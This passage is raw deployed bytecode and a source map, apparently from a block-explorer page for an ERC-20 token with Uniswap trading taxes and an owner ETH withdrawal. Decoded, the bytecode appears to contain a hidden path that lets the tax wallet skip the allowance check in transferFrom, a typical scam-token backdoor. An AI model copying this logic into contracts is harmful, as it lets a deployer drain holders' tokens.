22961030d3660046114d6565b60046020525f908152604090205481565b348015610329575f80fd5b506102296103383660046114d6565b6001600160a01b03165f9081526001602052604090205490565b34801561035d575f80fd5b5061025f6105d0565b348015610371575f80fd5b5061025f6105e3565b348015610385575f80fd5b50610229600d5481565b34801561039a575f80fd5b5061025f61060a565b3480156103ae575f80fd5b5061022960085481565b3480156103c3575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101dc565b3480156103f3575f80fd5b5060408051808201909152600381526241594560e81b60208201526101cf565b34801561041e575f80fd5b5061020461042d36600461146e565b61092b565b34801561043d575f80fd5b50610229600a5481565b348015610452575f80fd5b50610229600c5481565b348015610467575f80fd5b5061022960055481565b34801561047c575f80fd5b5061022961048b3660046114f1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104c0575f80fd5b5061022960075481565b3480156104d5575f80fd5b5061025f6104e43660046114d6565b610937565b3480156104f4575f80fd5b50600b546103d0906001600160a01b031681565b5f6105143384846109b2565b5060015b92915050565b5f61052b6009600a61161c565b61053990633b9aca0061162a565b905090565b610546610ad5565b60405133904780156108fc02915f818181858888f1935050505015801561056f573d5f803e3d5ffd5b50565b5f61057e848484610b2e565b335f818152600460209081526040808320546001600160a01b038916845260028352818420858552909252909120546105c592879290916105c091879061102c565b6109b2565b5060015b9392505050565b6105d8610ad5565b6105e15f6110ba565b565b6105eb610ad5565b6105f76009600a61161c565b61060590633b9aca0061162a565b600d55565b610612610ad5565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610666573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061068a9190611641565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f99190611641565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610743573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107679190611641565b601080546001600160a01b039283166001600160a01b031991821617909155600f805492841692909116821790556107b59030906107a76009600a61161c565b6105c090633b9aca0061162a565b600f546001600160a01b031663f305d719473060646107e8826001600160a01b03165f9081526001602052604090205490565b6107f390606261162a565b6107fd919061165c565b5f806108105f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610876573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061089b919061167b565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108f0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091491906116a6565b50506010805460ff60a81b1916600160a81b179055565b5f610514338484610b2e565b61093f610ad5565b6001600160a01b0381166109a95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61056f816110ba565b6001600160a01b038316610a145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a0565b6001600160a01b038216610a755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b031633146105e15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109a0565b6001600160a01b038316610b925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a0565b6001600160a01b038216610bf45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a0565b5f8111610c555760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109a0565b6001600160a01b0383165f9081526003602052604081205460ff16158015610c9557506001600160a01b0383165f9081526003602052604090205460ff16155b15610eef57601054600160a81b900460ff16610ce55760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081cdd185c9d1959081e595d608a1b60448201526064016109a0565b6010546001600160a01b0390811690841603610d2a57610d276064610d21600a5460095410610d1657600854610d1a565b6006545b8590611109565b90611187565b90505b6010546001600160a01b038581169116148015610d555750600f546001600160a01b03848116911614155b15610d9557610d926064610d21600a5460095f815480929190610d77906116c5565b9190505510610d8857600754610d1a565b6005548590611109565b90505b6010546001600160a01b03848116911614610e2f57600d5482610dcc856001600160a01b03165f9081526001602052604090205490565b610dd691906116dd565b1115610e2f5760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865205f6d61784163636f756e7453697a65416d6f756e6044820152613a1760f11b60648201526084016109a0565b601054600160a01b900460ff16158015610e5657506010546001600160a01b038481169116145b8015610e6b5750601054600160a81b900460ff165b15610eef57600c54305f908152600160205260409020541115610eb557305f90815260016020526040902054610eb590610eb090610eab600e54866111c8565b6111c8565b6111f8565b47600b546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610eec573d5f803e3d5ffd5b50505b8015610f6757305f90815260016020526040902054610f0e908261136f565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f5e9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f8990836113cd565b6001600160a01b0385165f90815260016020526040902055610fcc610fae83836113cd565b6001600160a01b0385165f908152600160205260409020549061136f565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61101585856113cd565b60405190815260200160405180910390a350505050565b5f81158061103a5750816001145b156110b157838311156110a05760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109a0565b6110aa83856116f0565b90506105c9565b505f9392505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f825f0361111857505f610518565b5f611123838561162a565b905082611130858361165c565b146105c95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109a0565b5f6105c983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d9565b600b546001600160a01b03165f908152600460205260408120600290558183116111f257826105c9565b50919050565b6010805460ff60a01b1916600160a01b179055801561135f576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124457611244611703565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561129b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112bf9190611641565b816001815181106112d2576112d2611703565b6001600160a01b039283166020918202929092010152600f546112f891309116846109b2565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113309085905f90869030904290600401611717565b5f604051808303815f87803b158015611347575f80fd5b505af1158015611359573d5f803e3d5ffd5b50505050505b506010805460ff60a01b19169055565b5f8061137b83856116dd565b9050838110156105c95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109a0565b5f6105c983835f61102c565b5f81836113f95760405162461bcd60e51b81526004016109a0919061140e565b505f611405848661165c565b95945050505050565b5f602080835283518060208501525f5b8181101561143a5785810183015185820160400152820161141e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056f575f80fd5b5f806040838503121561147f575f80fd5b823561148a8161145a565b946020939093013593505050565b5f805f606084860312156114aa575f80fd5b83356114b58161145a565b925060208401356114c58161145a565b929592945050506040919091013590565b5f602082840312156114e6575f80fd5b81356105c98161145a565b5f8060408385031215611502575f80fd5b823561150d8161145a565b9150602083013561151d8161145a565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561157657815f190482111561155c5761155c611528565b8085161561156957918102915b93841c9390800290611541565b509250929050565b5f8261158c57506001610518565b8161159857505f610518565b81600181146115ae57600281146115b8576115d4565b6001915050610518565b60ff8411156115c9576115c9611528565b50506001821b610518565b5060208310610133831016604e8410600b84101617156115f7575081810a610518565b611601838361153c565b805f190482111561161457611614611528565b029392505050565b5f6105c960ff84168361157e565b808202811582820484141761051857610518611528565b5f60208284031215611651575f80fd5b81516105c98161145a565b5f8261167657634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f6060848603121561168d575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116b6575f80fd5b815180151581146105c9575f80fd5b5f600182016116d6576116d6611528565b5060010190565b8082018082111561051857610518611528565b8181038181111561051857610518611528565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117675784516001600160a01b031683529383019391830191600101611742565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220bd2a9ac2294f0bda29db5072dfd8b3c2a6035693f79737d244deb584caca15df64736f6c63430008180033
Deployed Bytecode Sourcemap
3952:6856:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5715:83;;;;;;;;;;-1:-1:-1;5785:5:0;;;;;;;;;;;;-1:-1:-1;;;5785:5:0;;;;5715:83;;;;;;;:::i;:::-;;;;;;;;6537:161;;;;;;;;;;-1:-1:-1;6537:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6537:161:0;1023:187:1;4955:63:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4955:63:0;1215:177:1;5986:98:0;;;;;;;;;;;;;:::i;10591:111::-;;;;;;;;;;;;;:::i;:::-;;6704:295;;;;;;;;;;-1:-1:-1;6704:295:0;;;;;:::i;:::-;;:::i;4162:47::-;;;;;;;;;;-1:-1:-1;4162:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5897:83;;;;;;;;;;-1:-1:-1;5897:83:0;;4589:1;2252:36:1;;2240:2;2225:18;5897:83:0;2110:184:1;4309:33:0;;;;;;;;;;;;;;;;4440:31;;;;;;;;;;;;;;;;4216:46;;;;;;;;;;-1:-1:-1;4216:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;6090:119;;;;;;;;;;-1:-1:-1;6090:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6183:18:0;6156:7;6183:18;;;:9;:18;;;;;;;6090:119;2682:103;;;;;;;;;;;;;:::i;10708:97::-;;;;;;;;;;;;;:::i;4882:66::-;;;;;;;;;;;;;;;;9778:772;;;;;;;;;;;;;:::i;4394:38::-;;;;;;;;;;;;;;;;2451:87;;;;;;;;;;-1:-1:-1;2497:7:0;2524:6;-1:-1:-1;;;;;2524:6:0;2451:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;2451:87:0;2299:203:1;5804:87:0;;;;;;;;;;-1:-1:-1;5876:7:0;;;;;;;;;;;;-1:-1:-1;;;5876:7:0;;;;5804:87;;6215:167;;;;;;;;;;-1:-1:-1;6215:167:0;;;;;:::i;:::-;;:::i;4478:29::-;;;;;;;;;;;;;;;;4812:63;;;;;;;;;;;;;;;;4269:33;;;;;;;;;;;;;;;;6388:143;;;;;;;;;;-1:-1:-1;6388:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6496:18:0;;;6469:7;6496:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6388:143;4349:37;;;;;;;;;;;;;;;;2791:201;;;;;;;;;;-1:-1:-1;2791:201:0;;;;;:::i;:::-;;:::i;4514:33::-;;;;;;;;;;-1:-1:-1;4514:33:0;;;;-1:-1:-1;;;;;4514:33:0;;;6537:161;6612:4;6629:39;265:10;6652:7;6661:6;6629:8;:39::i;:::-;-1:-1:-1;6686:4:0;6537:161;;;;;:::o;5986:98::-;6039:7;4648:13;4589:1;4648:2;:13;:::i;:::-;4635:26;;:10;:26;:::i;:::-;6059:17;;5986:98;:::o;10591:111::-;2412:13;:11;:13::i;:::-;10633:61:::1;::::0;10641:10:::1;::::0;10672:21:::1;10633:61:::0;::::1;;;::::0;::::1;::::0;;;10672:21;10641:10;10633:61;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10591:111::o:0;6704:295::-;6802:4;6819:36;6829:6;6837:9;6848:6;6819:9;:36::i;:::-;265:10;6945:22;;;;:10;:22;;;;;;;;;-1:-1:-1;;;;;6898:19:0;;;;:11;:19;;;;;:33;;;;;;;;;;6867:102;;6876:6;;265:10;;6898:70;;6936:6;;6898:37;:70::i;:::-;6867:8;:102::i;:::-;-1:-1:-1;6987:4:0;6704:295;;;;;;:::o;2682:103::-;2412:13;:11;:13::i;:::-;2747:30:::1;2774:1;2747:18;:30::i;:::-;2682:103::o:0;10708:97::-;2412:13;:11;:13::i;:::-;4648::::1;4589:1;4648:2;:13;:::i;:::-;4635:26;::::0;:10:::1;:26;:::i;:::-;10763:21;:34:::0;10708:97::o;9778:772::-;2412:13;:11;:13::i;:::-;9834:35:::1;9891:42;9834:100;;9980:16;-1:-1:-1::0;;;;;9980:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9962:70:0::1;;10041:4;10048:16;-1:-1:-1::0;;;;;10048:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9962:110;::::0;-1:-1:-1;;;;;;9962:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5292:15:1;;;9962:110:0::1;::::0;::::1;5274:34:1::0;5344:15;;5324:18;;;5317:43;5209:18;;9962:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9946:13;:126:::0;;-1:-1:-1;;;;;9946:126:0;;::::1;-1:-1:-1::0;;;;;;9946:126:0;;::::1;;::::0;;;10083:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;::::1;::::0;;10128:61:::1;::::0;10145:4:::1;::::0;4648:13:::1;4589:1;4648:2;:13;:::i;:::-;4635:26;::::0;:10:::1;:26;:::i;10128:61::-;10201:15;::::0;-1:-1:-1;;;;;10201:15:0::1;:31;10240:21;10285:4;10333:3;10308:24;10285:4:::0;-1:-1:-1;;;;;6183:18:0;6156:7;6183:18;;;:9;:18;;;;;;;6090:119;10308:24:::1;10305:27;::::0;:2:::1;:27;:::i;:::-;:31;;;;:::i;:::-;10351:1;10367::::0;10383:7:::1;2497::::0;2524:6;-1:-1:-1;;;;;2524:6:0;;2451:87;10383:7:::1;10201:230;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10201:230:0;;;-1:-1:-1;;;;;5952:15:1;;;10201:230:0::1;::::0;::::1;5934:34:1::0;5984:18;;;5977:34;;;;6027:18;;;6020:34;;;;6070:18;;;6063:34;6134:15;;;6113:19;;;6106:44;10405:15:0::1;6166:19:1::0;;;6159:35;5868:19;;10201:230:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10449:13:0::1;::::0;10480:15:::1;::::0;10442:71:::1;::::0;-1:-1:-1;;;10442:71:0;;-1:-1:-1;;;;;10480:15:0;;::::1;10442:71;::::0;::::1;6690:51:1::0;-1:-1:-1;;6757:18:1;;;6750:34;10449:13:0;::::1;::::0;-1:-1:-1;10442:29:0::1;::::0;6663:18:1;;10442:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10524:11:0::1;:18:::0;;-1:-1:-1;;;;10524:18:0::1;-1:-1:-1::0;;;10524:18:0::1;::::0;;9778:772::o;6215:167::-;6293:4;6310:42;265:10;6334:9;6345:6;6310:9;:42::i;2791:201::-;2412:13;:11;:13::i;:::-;-1:-1:-1;;;;;2880:22:0;::::1;2872:73;;;::::0;-1:-1:-1;;;2872:73:0;;7279:2:1;2872:73:0::1;::::0;::::1;7261:21:1::0;7318:2;7298:18;;;7291:30;7357:34;7337:18;;;7330:62;-1:-1:-1;;;7408:18:1;;;7401:36;7454:19;;2872:73:0::1;;;;;;;;;2956:28;2975:8;2956:18;:28::i;7011:335::-:0;-1:-1:-1;;;;;7104:19:0;;7096:68;;;;-1:-1:-1;;;7096:68:0;;7686:2:1;7096:68:0;;;7668:21:1;7725:2;7705:18;;;7698:30;7764:34;7744:18;;;7737:62;-1:-1:-1;;;7815:18:1;;;7808:34;7859:19;;7096:68:0;7484:400:1;7096:68:0;-1:-1:-1;;;;;7183:21:0;;7175:68;;;;-1:-1:-1;;;7175:68:0;;8091:2:1;7175:68:0;;;8073:21:1;8130:2;8110:18;;;8103:30;8169:34;8149:18;;;8142:62;-1:-1:-1;;;8220:18:1;;;8213:32;8262:19;;7175:68:0;7889:398:1;7175:68:0;-1:-1:-1;;;;;7254:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7306:32;;1361:25:1;;;7306:32:0;;1334:18:1;7306:32:0;;;;;;;7011:335;;;:::o;2544:132::-;2497:7;2524:6;-1:-1:-1;;;;;2524:6:0;265:10;2608:23;2600:68;;;;-1:-1:-1;;;2600:68:0;;8494:2:1;2600:68:0;;;8476:21:1;;;8513:18;;;8506:30;8572:34;8552:18;;;8545:62;8624:18;;2600:68:0;8292:356:1;7358:1756:0;-1:-1:-1;;;;;7446:18:0;;7438:68;;;;-1:-1:-1;;;7438:68:0;;8855:2:1;7438:68:0;;;8837:21:1;8894:2;8874:18;;;8867:30;8933:34;8913:18;;;8906:62;-1:-1:-1;;;8984:18:1;;;8977:35;9029:19;;7438:68:0;8653:401:1;7438:68:0;-1:-1:-1;;;;;7525:16:0;;7517:64;;;;-1:-1:-1;;;7517:64:0;;9261:2:1;7517:64:0;;;9243:21:1;9300:2;9280:18;;;9273:30;9339:34;9319:18;;;9312:62;-1:-1:-1;;;9390:18:1;;;9383:33;9433:19;;7517:64:0;9059:399:1;7517:64:0;7609:1;7600:6;:10;7592:64;;;;-1:-1:-1;;;7592:64:0;;9665:2:1;7592:64:0;;;9647:21:1;9704:2;9684:18;;;9677:30;9743:34;9723:18;;;9716:62;-1:-1:-1;;;9794:18:1;;;9787:39;9843:19;;7592:64:0;9463:405:1;7592:64:0;-1:-1:-1;;;;;7702:20:0;;7667:17;7702:20;;;:14;:20;;;;;;;;7701:21;:58;;;;-1:-1:-1;;;;;;7741:18:0;;;;;;:14;:18;;;;;;;;7740:19;7701:58;7697:1061;;;7784:11;;-1:-1:-1;;;7784:11:0;;;;7776:39;;;;-1:-1:-1;;;7776:39:0;;10075:2:1;7776:39:0;;;10057:21:1;10114:2;10094:18;;;10087:30;-1:-1:-1;;;10133:18:1;;;10126:45;10188:18;;7776:39:0;9873:339:1;7776:39:0;7839:13;;-1:-1:-1;;;;;7839:13:0;;;7833:19;;;;7830:134;;7883:81;7960:3;7883:72;7907:9;;7894:12;;:22;:60;;7935:19;;7894:60;;;7919:13;;7894:60;7883:6;;:10;:72::i;:::-;:76;;:81::i;:::-;7871:93;;7830:134;7991:13;;-1:-1:-1;;;;;7983:21:0;;;7991:13;;7983:21;:73;;;;-1:-1:-1;8040:15:0;;-1:-1:-1;;;;;8026:30:0;;;8040:15;;8026:30;;7983:73;7979:191;;;8087:83;8166:3;8087:74;8114:9;;8098:12;;:14;;;;;;;;;:::i;:::-;;;;;:25;:62;;8142:18;;8098:62;;;8126:13;;8087:6;;:10;:74::i;:83::-;8075:95;;7979:191;8194:13;;-1:-1:-1;;;;;8188:19:0;;;8194:13;;8188:19;8185:134;;8259:21;;8249:6;8233:13;8243:2;-1:-1:-1;;;;;6183:18:0;6156:7;6183:18;;;:9;:18;;;;;;;6090:119;8233:13;:22;;;;:::i;:::-;:47;;8225:94;;;;-1:-1:-1;;;8225:94:0;;10689:2:1;8225:94:0;;;10671:21:1;10728:2;10708:18;;;10701:30;10767:34;10747:18;;;10740:62;-1:-1:-1;;;10818:18:1;;;10811:32;10860:19;;8225:94:0;10487:398:1;8225:94:0;8339:6;;-1:-1:-1;;;8339:6:0;;;;8338:7;:30;;;;-1:-1:-1;8355:13:0;;-1:-1:-1;;;;;8349:19:0;;;8355:13;;8349:19;8338:30;:45;;;;-1:-1:-1;8372:11:0;;-1:-1:-1;;;8372:11:0;;;;8338:45;8334:413;;;8434:29;;8425:4;6156:7;6183:18;;;:9;:18;;;;;;8407:56;8404:160;;;8523:4;6156:7;6183:18;;;:9;:18;;;;;;8486:78;;8501:62;;8531:31;8535:18;;8555:6;8531:3;:31::i;:::-;8501:3;:62::i;:::-;8486:14;:78::i;:::-;8612:21;8688:10;;8680:51;;-1:-1:-1;;;;;8688:10:0;;;;8709:21;8680:51;;;;;8688:10;8680:51;8688:10;8680:51;8709:21;8688:10;8680:51;;;;;;;;;;;;;;;;;;;;;8385:362;8334:413;8771:13;;8768:163;;8841:4;8823:24;;;;:9;:24;;;;;;:39;;8852:9;8823:28;:39::i;:::-;8816:4;8798:24;;;;:9;:24;;;;;;;:64;;;;8880:39;;-1:-1:-1;;;;;8880:39:0;;;;;;;8909:9;1361:25:1;;1349:2;1334:18;;1215:177;8880:39:0;;;;;;;;8768:163;-1:-1:-1;;;;;8957:15:0;;;;;;:9;:15;;;;;;:27;;8977:6;8957:19;:27::i;:::-;-1:-1:-1;;;;;8941:15:0;;;;;;:9;:15;;;;;:43;9009:40;9027:21;:6;9038:9;9027:10;:21::i;:::-;-1:-1:-1;;;;;9009:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8995:13:0;;;;;;;:9;:13;;;;;:54;;;;9065:41;;;9084:21;:6;9095:9;9084:10;:21::i;:::-;9065:41;;1361:25:1;;;1349:2;1334:18;9065:41:0;;;;;;;7427:1687;7358:1756;;;:::o;1283:273::-;1360:7;1383:14;;;:32;;;1401:9;1414:1;1401:14;1383:32;1380:150;;;1445:1;1440;:6;;1432:59;;;;-1:-1:-1;;;1432:59:0;;11092:2:1;1432:59:0;;;11074:21:1;11131:2;11111:18;;;11104:30;11170:34;11150:18;;;11143:62;-1:-1:-1;;;11221:18:1;;;11214:38;11269:19;;1432:59:0;10890:404:1;1432:59:0;1513:5;1517:1;1513;:5;:::i;:::-;1506:12;;;;1380:150;-1:-1:-1;1547:1:0;1283:273;;;;;:::o;2998:191::-;3072:16;3091:6;;-1:-1:-1;;;;;3108:17:0;;;-1:-1:-1;;;;;;3108:17:0;;;;;;3141:40;;3091:6;;;;;;;3141:40;;3072:16;3141:40;3061:128;2998:191;:::o;1562:246::-;1620:7;1644:1;1649;1644:6;1640:47;;-1:-1:-1;1674:1:0;1667:8;;1640:47;1697:9;1709:5;1713:1;1709;:5;:::i;:::-;1697:17;-1:-1:-1;1742:1:0;1733:5;1737:1;1697:17;1733:5;:::i;:::-;:10;1725:56;;;;-1:-1:-1;;;1725:56:0;;11634:2:1;1725:56:0;;;11616:21:1;11673:2;11653:18;;;11646:30;11712:34;11692:18;;;11685:62;-1:-1:-1;;;11763:18:1;;;11756:31;11804:19;;1725:56:0;11432:397:1;1814:132:0;1872:7;1899:39;1903:1;1906;1899:39;;;;;;;;;;;;;;;;;:3;:39::i;9120:128::-;9200:10;;-1:-1:-1;;;;;9200:10:0;9172:7;9189:22;;;:10;:22;;;;;9214:1;9189:26;;9232:3;;;9231:9;;9239:1;9231:9;;;-1:-1:-1;9237:1:0;9120:128;-1:-1:-1;9120:128:0:o;9254:518::-;5221:6;:13;;-1:-1:-1;;;;5221:13:0;-1:-1:-1;;;5221:13:0;;;9330:27;;9349:7:::1;9330:27;9391:16;::::0;;9405:1:::1;9391:16:::0;;;;;::::1;::::0;;9367:21:::1;::::0;9391:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9391:16:0::1;9367:40;;9436:4;9418;9423:1;9418:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9418:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9462:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9462:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9418:7;;9462:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9452:4;9457:1;9452:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9452:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9527:15:::1;::::0;9495:62:::1;::::0;9512:4:::1;::::0;9527:15:::1;9545:11:::0;9495:8:::1;:62::i;:::-;9568:15;::::0;:196:::1;::::0;-1:-1:-1;;;9568:196:0;;-1:-1:-1;;;;;9568:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9649:11;;9568:15:::1;::::0;9691:4;;9718::::1;::::0;9738:15:::1;::::0;9568:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9319:453;5245:1;-1:-1:-1::0;5257:6:0;:14;;-1:-1:-1;;;;5257:14:0;;;9254:518::o;987:179::-;1045:7;;1077:5;1081:1;1077;:5;:::i;:::-;1065:17;;1106:1;1101;:6;;1093:46;;;;-1:-1:-1;;;1093:46:0;;13285:2:1;1093:46:0;;;13267:21:1;13324:2;13304:18;;;13297:30;13363:29;13343:18;;;13336:57;13410:18;;1093:46:0;13083:351:1;1172:105:0;1230:7;1257:12;1261:1;1264;1267;1257:3;:12::i;1952:189::-;2038:7;2073:12;2066:5;2058:28;;;;-1:-1:-1;;;2058:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2097:9:0;2109:5;2113:1;2109;:5;:::i;:::-;2097:17;1952:189;-1:-1:-1;;;;;1952:189:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3124:127::-;3185:10;3180:3;3176:20;3173:1;3166:31;3216:4;3213:1;3206:15;3240:4;3237:1;3230:15;3256:416;3345:1;3382:5;3345:1;3396:270;3417:7;3407:8;3404:21;3396:270;;;3476:4;3472:1;3468:6;3464:17;3458:4;3455:27;3452:53;;;3485:18;;:::i;:::-;3535:7;3525:8;3521:22;3518:55;;;3555:16;;;;3518:55;3634:22;;;;3594:15;;;;3396:270;;;3400:3;3256:416;;;;;:::o;3677:806::-;3726:5;3756:8;3746:80;;-1:-1:-1;3797:1:1;3811:5;;3746:80;3845:4;3835:76;;-1:-1:-1;3882:1:1;3896:5;;3835:76;3927:4;3945:1;3940:59;;;;4013:1;4008:130;;;;3920:218;;3940:59;3970:1;3961:10;;3984:5;;;4008:130;4045:3;4035:8;4032:17;4029:43;;;4052:18;;:::i;:::-;-1:-1:-1;;4108:1:1;4094:16;;4123:5;;3920:218;;4222:2;4212:8;4209:16;4203:3;4197:4;4194:13;4190:36;4184:2;4174:8;4171:16;4166:2;4160:4;4157:12;4153:35;4150:77;4147:159;;;-1:-1:-1;4259:19:1;;;4291:5;;4147:159;4338:34;4363:8;4357:4;4338:34;:::i